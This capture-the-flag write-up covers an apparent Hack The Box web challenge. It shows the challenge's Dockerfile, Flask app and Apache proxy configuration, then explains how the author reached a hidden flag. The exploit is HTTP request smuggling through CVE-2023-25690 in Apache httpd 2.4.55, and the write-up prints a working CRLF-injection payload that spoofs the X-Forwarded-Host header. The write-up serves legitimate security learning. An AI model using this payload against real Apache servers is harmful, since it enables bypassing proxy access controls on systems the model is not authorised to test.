Dockerfile
FROM alpine:3
# Install system packages
RUN apk add --no-cache --update wget apr-dev apr-util-dev gcc libc-dev \
pcre-dev make musl-dev
# Download and extract httpd
RUN wget https://archive.apache.org/dist/httpd/httpd-2.4.55.tar.gz && tar -xvf httpd-2.4.55.tar.gz
WORKDIR httpd-2.4.55
# Compile httpd with desired modules
RUN ./configure \
--prefix=/usr/local/apache2 \
--enable-mods-shared=all \
--enable-deflate \
--enable-proxy \
--enable-proxy-balancer \
--enable-proxy-http \
&& make \
&& make install
# Move compiled httpd binary
RUN mv httpd /usr/local/bin
WORKDIR /
# Copy Apache config files
COPY conf/httpd.conf /tmp/httpd.conf
RUN cat /tmp/httpd.conf >> /usr/local/apache2/conf/httpd.conf
# Can't bind to port 80
RUN sed -i '/^Listen 80$/s/^/#/' /usr/local/apache2/conf/httpd.conf
# Copy challenge files
COPY challenge/frontend/src/. /usr/local/apache2/htdocs/
RUN mkdir /app
# Copy application and configuration files
COPY conf/. /app
COPY challenge/backend/src/. /app
# Install Python dependencies
RUN apk add --update --no-cache \
g++ \
python3 \
python3-dev \
build-base \
linux-headers \
py3-pip \
&& pip install -I --no-cache-dir -r /app/requirements.txt
# Add a system user and group
RUN addgroup -S uwsgi-group && adduser -S -G uwsgi-group uwsgi-user
# Fix permissions
RUN chown -R uwsgi-user:uwsgi-group /usr/local/apache2/logs \
&& chmod 755 /usr/local/apache2/logs \
&& touch /usr/local/apache2/logs/error.log \
&& chown uwsgi-user:uwsgi-group /usr/local/apache2/logs/error.log \
&& chmod 644 /usr/local/apache2/logs/error.log
# Switch user to uwsgi-user
USER uwsgi-user
# Expose Apache's port
EXPOSE 1337
# Run httpd and uwsgi
CMD ["sh", "/app/uwsgi/start_uwsgi.sh"]
Proxy: Apache-Httpd 2.4.55 Language: Python Framework: Flask
app.py
from flask import Flask, request, jsonify
app = Flask(__name__)
app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'}
app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}'
@app.route('/', methods=['GET'])
def index():
game = request.args.get('game')
if not game:
return jsonify({
'error': 'Empty game name is not supported!.'
}), 400
elif game not in app.config['GAMES']:
return jsonify({
'error': 'Invalid game name!'
}), 400
elif game == 'click_topia':
if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
return jsonify({
'message': f'{app.config["FLAG"]}'
}), 200
else:
return jsonify({
'message': 'This game is currently available only from dev.apacheblaze.local.'
}), 200
else:
return jsonify({
'message': 'This game is currently unavailable due to internal maintenance.'
}), 200
play the game click_topia while having the header X-Forwarded-Host set to 'dev.apacheblaze.local'
Well if that was the only thing needed to do this would be a very easy challenge of trivial difficulty, well as seen below that is not the case.
The HTTP X-Forwarded-Host header is a request-type header de-facto standard header. This header is used to identify the original request made by the client. Because the hostnames and the ports differ in the reverse proxies that time this header took the leader and identify the original request. This header can also be used for debugging, creating location-based content. So this header kept the privacy of the client. The root version of this header is HTTP Forwarded.
Well lets find out why that is the case, by printing the value of the header.
dev.apacheblaze.local, 127.0.0.1:1337, 127.0.0.1:8080
This shows us that there must be some kind of proxying going on
httpd.conf
ServerName _
ServerTokens Prod
ServerSignature Off
Listen 8080
Listen 1337
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so
<VirtualHost *:1337>
ServerName _
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"
</VirtualHost>
<VirtualHost *:8080>
ServerName _
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
<Proxy balancer://mycluster>
BalancerMember http://127.0.0.1:8081 route=127.0.0.1
BalancerMember http://127.0.0.1:8082 route=127.0.0.1
ProxySet stickysession=ROUTEID
ProxySet lbmethod=byrequests
</Proxy>
</VirtualHost>
Ok now everything makes sense
The first value comes from us setting the header ourlseves, the second is a proxy that rewrites any url /api/games/XXX
to proxy to 127.0.0.1:8080?game=XXX
RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"
Then port 8080 is a load balancer to the actual application which runs on both port 8081 and 8082
<VirtualHost *:8080>
ServerName _
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
<Proxy balancer://mycluster>
BalancerMember http://127.0.0.1:8081 route=127.0.0.1
BalancerMember http://127.0.0.1:8082 route=127.0.0.1
ProxySet stickysession=ROUTEID
ProxySet lbmethod=byrequests
</Proxy>
</VirtualHost>
Which means we are now looking for vulnerabilities that will somehow allow us to bypass this proxies and load balancers to get our request directly to the app itself.
![[assets/image_2_fbd916a5.png]] The very particular version of httpd chosen seems to be vulnerable to request splitting
https://github.com/dhmosfunk/CVE-2023-25690-POC#internal-http-request-smuggling-via-header-injection
![[assets/image_3_fbd916a5.png]] Meaning that a payload that will hit the backend with the appropriate header is this
GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: 127.0.0.1:1337
This will cause the smuggled request to have an X-Forwarded-Host of the previous request's Host Essentially this becomes 2 requests after it is rewritten with the rewrite rule.
GET /?game=click_topia HTTP/1.1
Host: dev.apacheblaze.local
GET / HTTP/1.1
Host: 127.0.0.1:8081 (which is the backend where the app is running)
X-Forwarded-Host: dev.apacheblaze.local (due to the previous host header)
![[assets/image_4_fbd916a5.png]]
which returns the flag ![[assets/image_5_fbd916a5.png]]